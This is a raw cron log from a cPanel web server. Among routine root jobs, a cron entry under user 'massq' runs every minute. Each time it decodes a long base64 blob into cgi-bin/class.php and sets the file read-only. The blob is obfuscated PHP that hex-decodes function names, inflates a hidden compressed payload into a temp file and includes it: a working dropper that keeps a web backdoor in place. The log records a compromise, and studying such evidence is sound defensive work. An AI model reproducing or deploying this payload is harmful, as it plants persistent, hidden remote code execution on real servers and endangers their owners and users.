Nov 15 03:45:01 server CROND[22639]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 03:45:01 server CROND[22638]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 03:46:01 server CROND[23613]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:46:21 server run-parts(/etc/cron.daily)[24177]: finished maldet
Nov 15 03:46:21 server run-parts(/etc/cron.daily)[18802]: starting man-db.cron
Nov 15 03:46:21 server run-parts(/etc/cron.daily)[24259]: finished man-db.cron
Nov 15 03:46:21 server anacron[29727]: Job `cron.daily' terminated (produced output)
Nov 15 03:46:30 server anacron[29727]: Normal exit (1 job run)
Nov 15 03:47:01 server CROND[25783]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:48:01 server CROND[26660]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:49:01 server CROND[26933]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:50:01 server CROND[27218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 03:50:01 server CROND[27221]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 03:50:01 server CROND[27220]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:50:01 server CROND[27222]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 03:50:01 server CROND[27219]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 03:51:01 server CROND[27536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:52:01 server CROND[27785]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:53:01 server CROND[28158]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:54:01 server CROND[28427]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:55:01 server CROND[28698]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:55:01 server CROND[28699]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 03:55:01 server CROND[28700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 03:56:01 server CROND[29012]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:57:01 server CROND[29267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:57:01 server CROND[29269]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 03:58:01 server CROND[29643]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
